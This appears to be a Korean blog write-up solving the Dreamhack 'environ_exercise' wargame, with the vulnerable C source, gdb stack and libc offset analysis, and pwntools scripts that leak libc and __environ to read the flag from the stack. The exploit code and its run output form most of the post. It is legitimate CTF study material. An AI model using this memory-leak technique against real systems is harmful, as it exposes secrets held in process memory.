__environ

2022. 8. 15. 17:18·Wargame/Dreamhack
728x90
반응형

1. intro

 

2. code 및 분석

2.1  code

// Name: environ.c
// Compile: gcc -o environ environ.c

#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>

void sig_handle() {
  exit(0);
}
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  signal(SIGALRM, sig_handle);
  alarm(5);
}

void read_file() {
  char file_buf[4096];

  int fd = open("/home/environ_exercise/flag", O_RDONLY);
  read(fd, file_buf, sizeof(file_buf) - 1);
  close(fd);
}
int main() {
  char buf[1024];
  long addr;
  int idx;

  init();
  read_file();

  printf("stdout: %p\n", stdout);

  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("Addr: ");
        scanf("%ld", &addr);
        printf("%s", (char *)addr);
        break;
      default:
        break;
    }
  }
  return 0;
}

2.2 분석

프로그램 실행 후 변수 선언과, read_file 함수 실행 후 stdout address를 출력하고, 임의의 주소를 입력 받은 다음 그 내용을 출력한다.

 

3. 취약점 확인 및 공격 준비

3.1 취약점

stdout의 주소를 출력해주며, 프로그램 실행 시 read_file 함수를 이미 실행한 뒤이기 때문에 flag 파일의 내용이 stack의 어딘가에 위치하고 있을 것이다.

우선 stack의 주소를 찾아야하는데, libc에서 _environ 구조체, 즉 환경변수를 통해 stack의 주소를 찾을 수 있으며, stack을 기준으로 file_buf의 주소를 구할 수 있다.

그러므로 environ의 주소로부터 file_buf의 offset을 통해 file의 내용을 출력할 수 있다.

3.2 공격 준비

flag 파일을 읽어들이는 스택의 위치를 확인해보면 아래와 같다.

gef➤  disas read_file
Dump of assembler code for function read_file:
...
   0x0000555555400a2c <+54>:    lea    -0x1010(%rbp),%rcx
   0x0000555555400a33 <+61>:    mov    -0x1014(%rbp),%eax
   0x0000555555400a39 <+67>:    mov    $0xfff,%edx
   0x0000555555400a3e <+72>:    mov    %rcx,%rsi
   0x0000555555400a41 <+75>:    mov    %eax,%edi
=> 0x0000555555400a43 <+77>:    call   0x555555400810 <read@plt>
...
gef➤  b *read_file+77
Breakpoint 1 at 0x555555400a43
gef➤  r
Starting program: /home/kali/Downloads/environ_exercise 
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0x7ffff7fca000'
...
ef➤  x/x $rbp-0x1010
0x7fffffffca50: 0x0000000000026000
gef➤  x/x $rcx
0x7fffffffca50: 0x0000000000026000
gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x00555555400000 0x00555555401000 0x00000000000000 r-x /home/kali/Downloads/environ_exercise
0x00555555601000 0x00555555602000 0x00000000001000 r-- /home/kali/Downloads/environ_exercise
0x00555555602000 0x00555555603000 0x00000000002000 rw- /home/kali/Downloads/environ_exercise
0x007ffff7dd5000 0x007ffff7dd7000 0x00000000000000 rw- 
0x007ffff7dd7000 0x007ffff7dfd000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.33.so
0x007ffff7dfd000 0x007ffff7f55000 0x00000000026000 r-x /usr/lib/x86_64-linux-gnu/libc-2.33.so
0x007ffff7f55000 0x007ffff7fa1000 0x0000000017e000 r-- /usr/lib/x86_64-linux-gnu/libc-2.33.so
0x007ffff7fa1000 0x007ffff7fa2000 0x000000001ca000 --- /usr/lib/x86_64-linux-gnu/libc-2.33.so
0x007ffff7fa2000 0x007ffff7fa5000 0x000000001ca000 r-- /usr/lib/x86_64-linux-gnu/libc-2.33.so
0x007ffff7fa5000 0x007ffff7fa8000 0x000000001cd000 rw- /usr/lib/x86_64-linux-gnu/libc-2.33.so
0x007ffff7fa8000 0x007ffff7fb3000 0x00000000000000 rw- 
0x007ffff7fc6000 0x007ffff7fca000 0x00000000000000 r-- [vvar]
0x007ffff7fca000 0x007ffff7fcc000 0x00000000000000 r-x [vdso]
0x007ffff7fcc000 0x007ffff7fcd000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.33.so
0x007ffff7fcd000 0x007ffff7ff1000 0x00000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.33.so
0x007ffff7ff1000 0x007ffff7ffb000 0x00000000025000 r-- /usr/lib/x86_64-linux-gnu/ld-2.33.so
0x007ffff7ffb000 0x007ffff7ffd000 0x0000000002e000 r-- /usr/lib/x86_64-linux-gnu/ld-2.33.so
0x007ffff7ffd000 0x007ffff7fff000 0x00000000030000 rw- /usr/lib/x86_64-linux-gnu/ld-2.33.so
0x007ffffffde000 0x007ffffffff000 0x00000000000000 rw- [stack]
gef➤  p __environ
$1 = (char **) 0x7fffffffdf98
gef➤  p $rcx
$2 = 0x7fffffffca50
gef➤  p 0x7fffffffdf98 - 0x7fffffffca50
$3 = 0x1548

본 문제에는 제공되는 파일 내에 libc 파일이 없기에 직접 찾아야한다.

다행히 dockerfile이 있고, 그 안에 ubuntu 버전이 적혀있기에 이를 토대로 libc 버전을 추측할 수 있다.

┌──(kali㉿kali)-[~/Downloads]
└─$ cat Dockerfile 
FROM ubuntu:18.04

해당 버전에서 libc는 2.27이 standard이며,

https://libc.blukat.me/d/libc6-amd64_2.27-3ubuntu1_i386.symbols

stdout과 libc_base의 offset은

_IO_2_1_stdout_ 00000000003b5760

libc_base와 _environ의 offset은

_environ 00000000003b7098

임을 찾을 수 있다.

 

4. exploit

위를 토대로 페이로드를 작성해보면 아래와 같다.

from pwn import *

p = remote('host3.dreamhack.games',9460)
#p = process('./environ_exercise')


stdout = b'0x' + p.recvline()[-13:-1]
libc_base = int(stdout,16) - 0x3b5760
environ = libc_base + 0x3b7098

print(stdout)
print(hex(libc_base))
print(hex(environ))

p.sendlineafter('> ',b'1')
p.sendlineafter('Addr: ',str(environ))

stack_add = u64(p.recv(8) + b'\x00\x00') - 0x1548

print(hex(stack_add))

p.sendlineafter('> ',b'1')
p.sendlineafter('Addr: ',str(stack_add))

print(p.recv(1024))

다만, 위의 페이로드로 공격해보면 return 값이 null인 듯 값이 돌아오지 않는다.

주소를 조금씩 변경하며 시도해보았다.

from pwn import *

p = remote('host3.dreamhack.games',9460)
#p = process('./environ_exercise')


stdout = b'0x' + p.recvline()[-13:-1]
libc_base = int(stdout,16) - 0x3b5760
environ = libc_base + 0x3b7098

print(stdout)
print(hex(libc_base))
print(hex(environ))

p.sendlineafter('> ',b'1')
p.sendlineafter('Addr: ',str(environ))

stack_add = u64(p.recv(8) + b'\x00\x00') - 0x1538

print(hex(stack_add))

p.sendlineafter('> ',b'1')
p.sendlineafter('Addr: ',str(stack_add))


print(p.recv(1024))

 

┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 9460: Done
b'0x7f37c9c7c760'
0x7f37c98c7000
0x7f37c9c7e098
/usr/local/lib/python3.10/dist-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
/home/kali/Downloads/a.py:16: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter('Addr: ',str(environ))
0x7fff6738ace0
/home/kali/Downloads/a.py:23: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter('Addr: ',str(stack_add))
b'DH{----------#플래그는 삭제}\n'

물론, libc 버전을 알기에 ld 파일과 libc 파일을 다운받아 patchelf로 링킹 후 시도하였다면 더 정확했겠지만...

귀찮....;;

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Dreamhack' 카테고리의 다른 글

SigReturn-Oriented Programming  (0) 2022.08.15
rtld  (0) 2022.08.15
Overwrite _rtld_global  (0) 2022.08.15
master_canary  (2) 2022.08.10
Master Canary  (0) 2022.08.07
'Wargame/Dreamhack' 카테고리의 다른 글
  • SigReturn-Oriented Programming
  • rtld
  • Overwrite _rtld_global
  • master_canary
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (500)
      • To do list (7)
        • Doing (1)
        • Complete (6)
      • Diary (35)
      • Tips & theory (77)
      • Kernel Exploit (27)
        • Theory (15)
        • Exercise (5)
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (41)
        • Solved (39)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    phoenix
    cryptohack
    32bit
    docker
    la ctf
    dreamhack
    FSB
    lob
    CANARY
    _IO_FILE
    hackerschool
    root
    x86
    RTL
    exploit education
    tcache
    Buffer Overflow
    ROOT ME
    pwntools
    Format String Bug
    Me
    pwnable.kr
    heap
    vtable
    x64
    BOF
    rop
    libc
    64bit
    root-me
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
__environ
상단으로

티스토리툴바